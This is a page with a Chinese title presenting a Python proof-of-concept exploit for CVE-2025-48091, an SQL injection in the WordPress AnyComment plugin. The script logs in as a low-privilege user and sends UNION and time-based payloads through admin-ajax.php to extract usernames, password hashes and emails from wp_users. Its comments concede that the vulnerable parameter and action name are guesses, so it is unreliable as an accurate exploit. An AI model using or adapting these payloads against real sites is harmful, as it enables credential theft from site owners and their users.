CVE-2025-48091：WordPress AnyComment插件SQL注入漏洞

# CVE-2025-48091 PoC - AnyComment SQL Injection # Vulnerability: SQL Injection via improper neutralization of special elements in SQL commands # Affected: AnyComment plugin <= 0.3.6 # Author: Patchstack Security Audit Team import requests import sys TARGET_URL = "http://target-wordpress-site.com" PLUGIN_PATH = "/wp-admin/admin-ajax.php" # Step 1: Authenticate as a low-privilege user (subscriber or commentor) session = requests.Session() # Login credentials (low-privilege account) credentials = { "log": "subscriber_user", "pwd": "password123", "wp-submit": "Log In", "redirect_to": f"{TARGET_URL}/wp-admin/", "testcookie": "1" } session.post(f"{TARGET_URL}/wp-login.php", data=credentials) # Step 2: Craft SQL injection payload # The injection point is typically in AJAX action parameters handled by AnyComment sql_payload = "1' UNION SELECT user_login, user_pass, user_email FROM wp_users-- -" # Step 3: Send malicious request exploiting the SQL injection params = { "action": "anycomment_action", "id": sql_payload # Injecting malicious SQL via vulnerable parameter } headers = { "X-Requested-With": "XMLHttpRequest", "Content-Type": "application/x-www-form-urlencoded" } response = session.post(f"{TARGET_URL}{PLUGIN_PATH}", data=params, headers=headers) # Step 4: Extract sensitive data from response if response.status_code == 200: print("[+] Exploitation successful!") print(f"[+] Response: {response.text}") # Parse and display extracted credentials # Note: Actual exploitation requires identifying the exact vulnerable parameter else: print(f"[-] Exploitation failed. Status code: {response.status_code}") # Alternative: Time-based blind SQL injection time_payload = "1' AND SLEEP(5)-- -" time_params = { "action": "anycomment_action", "id": time_payload } import time start_time = time.time() session.post(f"{TARGET_URL}{PLUGIN_PATH}", data=time_params, headers=headers) elapsed = time.time() - start_time if elapsed >= 5: print(f"[+] Time-based SQLi confirmed! Response time: {elapsed:.2f}s")